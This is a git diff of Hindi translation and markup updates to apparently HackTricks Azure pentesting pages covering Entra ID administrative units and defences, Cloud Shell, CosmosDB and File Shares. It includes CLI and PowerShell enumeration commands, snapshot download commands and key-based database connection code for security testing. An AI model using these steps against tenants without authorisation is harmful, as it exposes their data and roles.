az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members" -# AU पर भूमिकाओं के साथ प्रिंसिपल प्राप्त करें +# Get principals with roles over the AU az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers" ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```bash # Get Administrative Units Get-AzureADMSAdministrativeUnit @@ -1089,77 +1069,76 @@ Get-AzureADMSAdministrativeUnitMember -Id # Get the roles users have over the members of the AU Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ``` - {{#endtab }} {{#endtabs }} -## Entra ID Privilege Escalation +## Entra ID विशेषाधिकार वृद्धि {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Azure Privilege Escalation +## Azure विशेषाधिकार वृद्धि {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Defensive Mechanisms +## रक्षात्मक तंत्र -### Privileged Identity Management (PIM) +### विशेषाधिकार पहचान प्रबंधन (PIM) -Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. +Azure में विशेषाधिकार पहचान प्रबंधन (PIM) **अधिकतम विशेषाधिकार** को उपयोगकर्ताओं को अनावश्यक रूप से सौंपने से **रोकने** में मदद करता है। -One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\ -Note that the user will also be able to ask to **extend** the time. +PIM द्वारा प्रदान की जाने वाली मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति नहीं देता, बल्कि उन्हें **एक निश्चित समय (जैसे 6 महीने)** के लिए **योग्य** बनाता है। फिर, जब भी उपयोगकर्ता उस भूमिका को सक्रिय करना चाहता है, तो उसे यह बताना होगा कि उसे विशेषाधिकार की आवश्यकता कितने समय के लिए है (जैसे 3 घंटे)। फिर एक **व्यवस्थापक को** अनुरोध को मंजूरी देने की आवश्यकता होती है।\ +ध्यान दें कि उपयोगकर्ता **समय बढ़ाने** के लिए भी अनुरोध कर सकेगा। -Moreover, **PIM send emails** whenever a privileged role is being assigned to someone. +इसके अलावा, **PIM ईमेल भेजता है** जब किसी को विशेषाधिकार वाली भूमिका सौंपा जा रहा हो।
-When PIM is enabled it's possible to configure each role with certain requirements like: +जब PIM सक्षम होता है, तो प्रत्येक भूमिका को कुछ आवश्यकताओं के साथ कॉन्फ़िगर करना संभव होता है जैसे: -- Maximum duration (hours) of activation -- Require MFA on activation -- Require Conditional Access acuthenticaiton context -- Require justification on activation -- Require ticket information on activation -- Require approval to activate -- Max time to expire the elegible assignments -- A lot more configuration on when and who to send notifications when certain actions happen with that role +- सक्रियण की अधिकतम अवधि (घंटे) +- सक्रियण पर MFA की आवश्यकता +- शर्तीय पहुँच प्रमाणीकरण संदर्भ की आवश्यकता +- सक्रियण पर औचित्य की आवश्यकता +- सक्रियण पर टिकट जानकारी की आवश्यकता +- सक्रिय करने के लिए अनुमोदन की आवश्यकता +- योग्य असाइनमेंट की समाप्ति के लिए अधिकतम समय +- जब उस भूमिका के साथ कुछ क्रियाएँ होती हैं, तो सूचनाएँ भेजने के लिए और भी बहुत सी कॉन्फ़िगरेशन -### Conditional Access Policies +### शर्तीय पहुँच नीतियाँ -Check: +जांचें: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Entra Identity Protection +### Entra पहचान सुरक्षा -Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. +Entra पहचान सुरक्षा एक सुरक्षा सेवा है जो **यह पहचानने** की अनुमति देती है कि जब कोई उपयोगकर्ता या साइन-इन बहुत जोखिम भरा होता है, तो उसे स्वीकार नहीं किया जा सकता, जिससे उपयोगकर्ता या साइन-इन प्रयास को **ब्लॉक** किया जा सकता है। -It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**: +यह व्यवस्थापक को इसे इस तरह कॉन्फ़िगर करने की अनुमति देता है कि जब जोखिम "कम और ऊपर", "मध्यम और ऊपर" या "उच्च" हो, तो प्रयासों को **ब्लॉक** किया जाए। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **अक्षम** है:
> [!TIP] -> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. +> आजकल, इन प्रतिबंधों को शर्तीय पहुँच नीतियों के माध्यम से जोड़ने की सिफारिश की जाती है जहाँ समान विकल्पों को कॉन्फ़िगर करना संभव है। -### Entra Password Protection +### Entra पासवर्ड सुरक्षा -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ -It also allows to **ban a custom password list** that you need to provide. +Entra पासवर्ड सुरक्षा ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा विशेषता है जो **कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है** जब कई असफल लॉगिन प्रयास होते हैं, तो खातों को लॉक करके।\ +यह एक **कस्टम पासवर्ड सूची** को भी **बैन** करने की अनुमति देती है जिसे आपको प्रदान करना होगा। -It can be **applied both** at the cloud level and on-premises Active Directory. +यह **क्लाउड स्तर** और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर लागू किया जा सकता है। -The default mode is **Audit**: +डिफ़ॉल्ट मोड **ऑडिट** है:
-## References +## संदर्भ - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md index 404669b3c..33ea02a59 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -12,20 +12,20 @@ **Environment**: Azure Cloud Shell एक सुरक्षित वातावरण प्रदान करता है जो Azure Linux पर चलता है, जो Microsoft का अपना Linux वितरण है जिसे क्लाउड अवसंरचना के लिए डिज़ाइन किया गया है। Azure Linux रिपॉजिटरी में शामिल सभी पैकेज Microsoft द्वारा आंतरिक रूप से संकलित किए गए हैं ताकि सप्लाई चेन हमलों से सुरक्षा की जा सके। **Preinstalled Tools**: Cloud Shell में Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, और vim, nano, और emacs जैसे टेक्स्ट संपादकों जैसे प्रीइंस्टॉल्ड टूल्स का एक व्यापक सेट शामिल है। ये टूल उपयोग के लिए तैयार हैं। स्थापित पैकेज और मॉड्यूल की सूची के लिए आप "Get-Module -ListAvailable", "tdnf list" और "pip3 list" का उपयोग कर सकते हैं। -**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां सत्र समाप्त होने पर फ़ाइलें हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें। +**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां फ़ाइलें सत्र समाप्त होने पर हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें। **Azure drive (Azure:)**: Azure Cloud Shell में PowerShell Azure ड्राइव (Azure:) शामिल है, जो फ़ाइल सिस्टम-जैसे कमांड का उपयोग करके Compute, Network, और Storage जैसे Azure संसाधनों के आसान नेविगेशन की अनुमति देता है। Azure ड्राइव पर स्विच करने के लिए cd Azure: का उपयोग करें और अपने होम निर्देशिका पर लौटने के लिए cd ~ का उपयोग करें। आप किसी भी ड्राइव से संसाधनों का प्रबंधन करने के लिए Azure PowerShell cmdlets का उपयोग कर सकते हैं। **Custom Tool Installation**: उपयोगकर्ता जो Cloud Shell को एक स्टोरेज खाते के साथ कॉन्फ़िगर करते हैं, वे अतिरिक्त टूल स्थापित कर सकते हैं जिन्हें रूट अनुमतियों की आवश्यकता नहीं होती है। यह सुविधा Cloud Shell वातावरण के आगे अनुकूलन की अनुमति देती है, जिससे उपयोगकर्ता अपनी सेटअप को अपनी विशिष्ट आवश्यकताओं के अनुसार अनुकूलित कर सकते हैं। ## References -* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) -* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) +- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) ## Persistence -{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} -[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) -{% endcontent-ref %} +{{#ref}} +../az-persistence/az-cloud-shell-persistence.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 1224c4cf0..813e4f5cf 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -4,32 +4,27 @@ ## Azure CosmosDB -**Azure Cosmos DB** एक पूरी तरह से **प्रबंधित NoSQL, रिलेशनल, और वेक्टर डेटाबेस** है जो एकल अंकों में मिलीसेकंड प्रतिक्रिया समय, स्वचालित स्केलेबिलिटी, और SLA-समर्थित उपलब्धता के साथ एंटरप्राइज-ग्रेड सुरक्षा प्रदान करता है। यह टर्नकी मल्टी-रीजन डेटा वितरण, ओपन-सोर्स APIs, लोकप्रिय भाषाओं के लिए SDKs, और AI डेटाबेस सुविधाओं जैसे एकीकृत वेक्टर समर्थन और निर्बाध Azure AI एकीकरण के माध्यम से तेज ऐप विकास को सक्षम बनाता है। +**Azure Cosmos DB** एक पूरी तरह से **प्रबंधित NoSQL, रिलेशनल, और वेक्टर डेटाबेस** है जो एकल-अंक मिलीसेकंड प्रतिक्रिया समय, स्वचालित स्केलेबिलिटी, और SLA-समर्थित उपलब्धता के साथ उद्यम-ग्रेड सुरक्षा प्रदान करता है। यह टर्नकी मल्टी-क्षेत्र डेटा वितरण, ओपन-सोर्स APIs, लोकप्रिय भाषाओं के लिए SDKs, और एकीकृत वेक्टर समर्थन और निर्बाध Azure AI एकीकरण जैसी AI डेटाबेस सुविधाओं के माध्यम से तेज ऐप विकास को सक्षम बनाता है। -Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़, रिलेशनल, की-वैल्यू, ग्राफ, और कॉलम-फैमिली डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं। +Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़, रिलेशनल, की-मान, ग्राफ, और कॉलम-परिवार डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं। -CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे महत्वपूर्ण सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें Strong से लेकर Eventual consistency तक के विकल्प होते हैं। +CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे महत्वपूर्ण सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें मजबूत से अंततः स्थिरता तक के विकल्प होते हैं। ### NoSQL (sql) -Azure Cosmos DB NoSQL API एक दस्तावेज़-आधारित API है जो JSON को अपने डेटा प्रारूप के रूप में उपयोग करता है। यह JSON वस्तुओं को क्वेरी करने के लिए SQL-जैसी क्वेरी सिंटैक्स प्रदान करता है, जिससे यह संरचित और अर्ध-संरचित डेटा के साथ काम करने के लिए उपयुक्त बनता है। सेवा का एंडपॉइंट है: - -{% code overflow="wrap" %} +Azure Cosmos DB NoSQL API एक दस्तावेज़-आधारित API है जो JSON को अपने डेटा प्रारूप के रूप में उपयोग करता है। यह JSON वस्तुओं को क्वेरी करने के लिए SQL-जैसी क्वेरी सिंटैक्स प्रदान करता है, जिससे यह संरचित और अर्ध-संरचित डेटा के साथ काम करने के लिए उपयुक्त बनाता है। सेवा का एंडपॉइंट है: ```bash https://.documents.azure.com:443/ ``` -{% endcode %} +#### Databases +एक खाते के भीतर, आप एक या एक से अधिक डेटाबेस बना सकते हैं, जो कंटेनरों के तार्किक समूह के रूप में कार्य करते हैं। एक डेटाबेस संसाधन प्रबंधन और उपयोगकर्ता अनुमतियों के लिए एक सीमा के रूप में कार्य करता है। डेटाबेस या तो अपने कंटेनरों के बीच प्रावधानित थ्रूपुट साझा कर सकते हैं या व्यक्तिगत कंटेनरों को समर्पित थ्रूपुट आवंटित कर सकते हैं। -#### डेटाबेस -एक खाते के भीतर, आप एक या अधिक डेटाबेस बना सकते हैं, जो कंटेनरों के तार्किक समूह के रूप में कार्य करते हैं। एक डेटाबेस संसाधन प्रबंधन और उपयोगकर्ता अनुमतियों के लिए एक सीमा के रूप में कार्य करता है। डेटाबेस या तो अपने कंटेनरों के बीच प्रावधानित थ्रूपुट साझा कर सकते हैं या व्यक्तिगत कंटेनरों को समर्पित थ्रूपुट आवंटित कर सकते हैं। +#### Containers +डेटा भंडारण की मुख्य इकाई कंटेनर है, जो JSON दस्तावेज़ों को रखता है और कुशल क्वेरी के लिए स्वचालित रूप से अनुक्रमित होता है। कंटेनर लचीले ढंग से स्केलेबल होते हैं और विभाजनों में वितरित होते हैं, जो उपयोगकर्ता-परिभाषित विभाजन कुंजी द्वारा निर्धारित होते हैं। विभाजन कुंजी अनुकूल प्रदर्शन और समान डेटा वितरण सुनिश्चित करने के लिए महत्वपूर्ण है। उदाहरण के लिए, एक कंटेनर ग्राहक डेटा को स्टोर कर सकता है, जिसमें "customerId" विभाजन कुंजी के रूप में हो सकता है। -#### कंटेनर -डेटा भंडारण की मुख्य इकाई कंटेनर है, जो JSON दस्तावेज़ों को रखती है और कुशल क्वेरी के लिए स्वचालित रूप से अनुक्रमित होती है। कंटेनर लचीले ढंग से स्केलेबल होते हैं और विभाजनों में वितरित होते हैं, जो उपयोगकर्ता-परिभाषित विभाजन कुंजी द्वारा निर्धारित होते हैं। विभाजन कुंजी अनुकूल प्रदर्शन और समान डेटा वितरण सुनिश्चित करने के लिए महत्वपूर्ण है। उदाहरण के लिए, एक कंटेनर ग्राहक डेटा को संग्रहीत कर सकता है, जिसमें "customerId" विभाजन कुंजी के रूप में हो सकता है। +#### Enumeration -#### एन्यूमरेशन - -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name --container-name --container-name --database-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosD @@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "" -AccountName " # List all user-defined functions (UDFs) in a specific Cosmos DB SQL container. Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "" -AccountName "" -DatabaseName "" -ContainerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### कनेक्शन -azure-cosmosDB (pip install azure-cosmos) लाइब्रेरी को कनेक्ट करने के लिए आवश्यक है। इसके अतिरिक्त, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं। -{% code overflow="wrap" %} +azure-cosmosDB (pip install azure-cosmos) लाइब्रेरी कनेक्ट करने के लिए आवश्यक है। इसके अतिरिक्त, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं। ```python from azure.cosmos import CosmosClient, PartitionKey @@ -158,11 +149,7 @@ print("All items in the container:") for item in all_items: print(item) ``` -{% endcode %} - -एक और तरीका कनेक्शन स्थापित करने का है **DefaultAzureCredential()** का उपयोग करना। बस उस खाते से लॉगिन करना है (az login) जिसके पास अनुमतियाँ हैं और इसे निष्पादित करना है। इस मामले में एक भूमिका असाइनमेंट किया जाना चाहिए, आवश्यक अनुमतियाँ देने के लिए (अधिक जानकारी के लिए देखें) - -{% code overflow="wrap" %} +एक और तरीका कनेक्शन स्थापित करने का है **DefaultAzureCredential()** का उपयोग करना। बस उस खाते से लॉगिन (az login) करना है जिसके पास अनुमतियाँ हैं और इसे निष्पादित करना है। इस मामले में एक भूमिका असाइनमेंट किया जाना चाहिए, आवश्यक अनुमतियाँ देने के लिए (अधिक जानकारी के लिए देखें) ```python from azure.identity import DefaultAzureCredential from azure.cosmos import CosmosClient @@ -187,28 +174,21 @@ item = { container.create_item(item) print("Document inserted.") ``` -{% endcode %} - ### MongoDB -MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह एक क्वेरी भाषा प्रदान करता है जिसमें समेकन क्षमताएँ होती हैं, जिससे यह संरचित, अर्ध-संरचित, और असंरचित डेटा के साथ काम करने के लिए उपयुक्त होता है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है: - -{% code overflow="wrap" %} +MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह समेकन क्षमताओं के साथ एक क्वेरी भाषा प्रदान करता है, जिससे यह संरचित, अर्ध-संरचित, और असंरचित डेटा के साथ काम करने के लिए उपयुक्त है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है: ```bash mongodb://:/ ``` -{% endcode %} +#### Databases +MongoDB में, आप एक या एक से अधिक डेटाबेस एक इंस्टेंस के भीतर बना सकते हैं। प्रत्येक डेटाबेस संग्रहों का एक तार्किक समूह के रूप में कार्य करता है और संसाधन संगठन और प्रबंधन के लिए एक सीमा प्रदान करता है। डेटाबेस डेटा को तार्किक रूप से अलग करने और प्रबंधित करने में मदद करते हैं, जैसे कि विभिन्न अनुप्रयोगों या परियोजनाओं के लिए। -#### डेटाबेस -MongoDB में, आप एक या एक से अधिक डेटाबेस एक उदाहरण के भीतर बना सकते हैं। प्रत्येक डेटाबेस संग्रहों का एक तार्किक समूह के रूप में कार्य करता है और संसाधन संगठन और प्रबंधन के लिए एक सीमा प्रदान करता है। डेटाबेस डेटा को तार्किक रूप से अलग करने और प्रबंधित करने में मदद करते हैं, जैसे कि विभिन्न अनुप्रयोगों या परियोजनाओं के लिए। +#### Collections +MongoDB में डेटा संग्रहण की मुख्य इकाई संग्रह है, जो दस्तावेज़ों को रखती है और कुशल क्वेरीिंग और लचीले स्कीमा डिज़ाइन के लिए डिज़ाइन की गई है। संग्रह लचीले ढंग से स्केलेबल होते हैं और वितरित सेटअप में कई नोड्स के बीच उच्च-थ्रूपुट संचालन का समर्थन कर सकते हैं। -#### संग्रह -MongoDB में डेटा भंडारण की मूल इकाई संग्रह है, जो दस्तावेज़ों को रखती है और कुशल क्वेरीिंग और लचीले स्कीमा डिज़ाइन के लिए डिज़ाइन की गई है। संग्रह लचीले ढंग से स्केलेबल होते हैं और वितरित सेटअप में कई नोड्स के बीच उच्च-थ्रूपुट संचालन का समर्थन कर सकते हैं। +#### Enumeration -#### गणना - -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name --resource # List all user definitions for MongoDB within an Azure Cosmos DB account az cosmosdb mongodb user definition list --account-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosDB @@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGro Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### कनेक्शन यहाँ पासवर्ड आप उन्हें कुंजियों के साथ या प्रिवेस्क अनुभाग में वर्णित विधि के साथ पा सकते हैं। -{% code overflow="wrap" %} ```python from pymongo import MongoClient @@ -311,30 +287,28 @@ document = { result = collection.insert_one(document) print(f"Inserted document with ID: {result.inserted_id}") ``` -{% endcode %} - ## संदर्भ -* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) ## विशेषाधिकार वृद्धि -{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %} -[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-cosmosDB-privesc.md +{{#endref}} ## पोस्ट एक्सप्लोइटेशन -{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %} -[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-sql-post-exploitation.md +{{#endref}} ## करने के लिए -* यहाँ DB का बाकी हिस्सा, तालिकाएँ, कैसेंड्रा, ग्रेमलिन... +* यहाँ बाकी DB, टेबल, कैसेंड्रा, ग्रेमलिन... * पोस्ट एक्सप्लोइटेशन "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" और भूमिका परिभाषाओं पर एक नज़र डालें क्योंकि यहाँ विशेषाधिकार वृद्धि हो सकती है * पुनर्स्थापनों पर एक नज़र डालें diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index fa955d511..e5d019cb5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -4,7 +4,7 @@ ## Basic Information -**Azure Files** एक पूरी तरह से प्रबंधित क्लाउड फ़ाइल स्टोरेज सेवा है जो साझा फ़ाइल स्टोरेज प्रदान करती है जिसे मानक **SMB (Server Message Block)** और **NFS (Network File System)** प्रोटोकॉल के माध्यम से एक्सेस किया जा सकता है। हालांकि मुख्य प्रोटोकॉल SMB है, NFS Azure फ़ाइल शेयर Windows के लिए समर्थित नहीं हैं (के अनुसार [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol))। यह आपको अत्यधिक उपलब्ध नेटवर्क फ़ाइल शेयर बनाने की अनुमति देता है जिन्हें कई वर्चुअल मशीनों (VMs) या ऑन-प्रिमाइसेस सिस्टम द्वारा एक साथ एक्सेस किया जा सकता है, जिससे वातावरणों के बीच फ़ाइल साझा करना आसान हो जाता है। +**Azure Files** एक पूरी तरह से प्रबंधित क्लाउड फ़ाइल स्टोरेज सेवा है जो साझा फ़ाइल स्टोरेज प्रदान करती है जिसे मानक **SMB (Server Message Block)** और **NFS (Network File System)** प्रोटोकॉल के माध्यम से एक्सेस किया जा सकता है। हालांकि मुख्य प्रोटोकॉल SMB है, NFS Azure फ़ाइल शेयर Windows के लिए समर्थित नहीं हैं (के अनुसार [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). यह आपको अत्यधिक उपलब्ध नेटवर्क फ़ाइल शेयर बनाने की अनुमति देता है जिन्हें कई वर्चुअल मशीनों (VMs) या ऑन-प्रिमाइसेस सिस्टम द्वारा एक साथ एक्सेस किया जा सकता है, जिससे वातावरणों के बीच फ़ाइल साझा करना आसान हो जाता है। ### Access Tiers @@ -30,8 +30,8 @@ ## Enumeration -{{#tabs}} -{{#tab name="az cli"}} +{{#tabs }} +{{#tab name="az" }} ```bash # Get storage accounts az storage account list #Get the account name from here @@ -58,9 +58,9 @@ az storage file list --account-name --share-name --snapshot # Download snapshot/backup az storage file download-batch -d . --account-name --source --snapshot ``` -{{#endtab}} +{{#endtab }} -{{#tab name="Az PowerShell"}} +{{#tab name="Az Powershell" }} ```bash Get-AzStorageAccount @@ -81,8 +81,8 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "" -Context (New-AzStorageContext -StorageAccountName "" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "" -Name "" | Select-Object -ExpandProperty Value) -SnapshotTime "") ``` -{{#endtab}} -{{#endtabs}} +{{#endtab }} +{{#endtabs }} > [!NOTE] > डिफ़ॉल्ट रूप से `az` cli एक खाता कुंजी का उपयोग करेगा एक कुंजी पर हस्ताक्षर करने और क्रिया करने के लिए। Entra ID प्रमुख विशेषाधिकारों का उपयोग करने के लिए `--auth-mode login --enable-file-backup-request-intent` पैरामीटर का उपयोग करें। diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md 